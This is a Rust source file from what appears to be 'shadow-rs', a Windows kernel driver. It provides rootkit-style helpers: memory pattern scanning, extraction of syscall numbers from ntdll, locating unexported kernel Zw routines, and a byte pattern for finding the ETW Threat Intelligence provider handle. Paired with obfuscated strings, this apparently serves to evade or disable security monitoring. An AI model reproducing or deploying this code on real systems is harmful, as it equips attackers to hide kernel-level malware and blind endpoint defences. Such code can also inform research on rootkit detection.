Files
shadow-rs/crates/shadowx/src/utils/patterns.rs
joaoviictorti 3e51fe4c11 refactor: Refactoring all code to improve documentation and operation of the kernel driver
- Updating module documentation
- Adding new features
- Refactoring all code to improve readability
2024-11-01 13:26:50 -03:00

219 lines
9.1 KiB
Rust

use {
obfstr::obfstr,
crate::error::ShadowError,
wdk_sys::{
ntddk::*,
*,
_SECTION_INHERIT::ViewUnmap
},
core::{
ffi::CStr,
ptr::{null_mut, read},
slice::from_raw_parts,
ffi::c_void
},
super::{
address::get_module_base_address,
InitializeObjectAttributes,
},
winapi::um::winnt::{
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
}
};
/// Scans memory for a specific pattern of bytes in a specific section.
///
/// # Arguments
///
/// * `function_address` - The base address (in `usize` format) from which the scan should start.
/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
/// * `offset` - Offset from the pattern position where the i32 value starts.
/// * `final_offset` - The final offset applied to the resulting address.
/// * `size` - The size of the memory to scan.
///
/// # Returns
///
/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32.
/// * `Err(ShadowError)` - Error if pattern not found or conversion fails.
pub unsafe fn scan_for_pattern(
function_address: *mut c_void,
pattern: &[u8],
offset: usize,
final_offset: isize,
size: usize,
) -> Result<*mut u8, ShadowError> {
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, size);
if let Some(x) = function_bytes.windows(pattern.len()).position(|window| window == pattern) {
let position = x + offset;
// Converting the slice starting at the position to i32 (little-endian)
let offset_bytes = &function_bytes[position..position + 4];
let offset = i32::from_le_bytes(offset_bytes.try_into().map_err(|_| ShadowError::PatternNotFound)?);
// Calculating the final address
let address = function_address.cast::<u8>().add(x);
let next_address = address.offset(final_offset);
// Returning the final address adjusted by the found offset
Ok(next_address.offset(offset as isize))
} else {
Err(ShadowError::PatternNotFound)
}
}
/// Retrieves the syscall index for a given function name.
///
/// This function loads the `ntdll.dll` section and maps its export table to find the specified function.
/// Once the function is found, the syscall index (SSN) is extracted from the function's machine code.
///
/// # Arguments
///
/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index.
///
/// # Returns
///
/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found.
/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails.
pub unsafe fn get_syscall_index(function_name: &str) -> Result<u16, ShadowError> {
let mut section_handle = null_mut();
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenSection", status))
}
// Map ntdll.dll to memory and retrieve the address
let mut large: LARGE_INTEGER = core::mem::zeroed();
let mut ntdll_addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
ZwClose(section_handle);
return Err(ShadowError::ApiCallFailed("ZwOpenZwMapViewOfSectionSection", status));
}
// Locate export directory, names, and functions for syscall extraction
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let ntdll_addr = ntdll_addr as usize;
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
// Search for the function by name and extract the syscall number (SSN)
for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
if name == function_name && read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
&& read(address.add(6)) == 0x00
&& read(address.add(7)) == 0x00
{
let high = read(address.add(5)) as u16;
let low = read(address.add(4)) as u16;
let ssn = (high << 8) | low;
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return Ok(ssn);
}
}
// Cleanup
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
Err(ShadowError::FunctionExecutionFailed("get_syscall_index", line!()))
}
/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section.
///
/// # Arguments
///
/// * `name` - The name of the Zw function to find.
///
/// # Returns
///
/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found.
/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs.
/// It should be used with caution in kernel mode to prevent system instability.
pub unsafe fn find_zw_function(name: &str) -> Result<usize, ShadowError> {
let ssn = get_syscall_index(name)?;
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
let ssn_bytes = ssn.to_le_bytes();
ZW_PATTERN[21] = ssn_bytes[0];
ZW_PATTERN[22] = ssn_bytes[1];
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
// Scan the `.text` section for the matching pattern
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == obfstr!(".text") {
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
// Search for the Zw function by matching the pattern
if let Some(offset) = data.windows(ZW_PATTERN.len())
.position(|window| {
window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Ok(text_start + offset);
}
}
}
Err(ShadowError::FunctionExecutionFailed("find_zw_function", line!()))
}
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
pub const ETWTI_PATTERN: [u8; 5] = [
0x33, 0xD2, // 33d2 xor edx,edx
0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
];
/// The `ZW_PATTERN` represents a sequence of machine instructions used for
/// identifying system service routines within the Windows kernel.
pub static mut ZW_PATTERN: [u8; 30] = [
0x48, 0x8B, 0xC4, // mov rax, rsp
0xFA, // cli
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
0x50, // push rax
0x9C, // pushfq
0x6A, 0x10, // push 10h
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
0x50, // push rax
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
];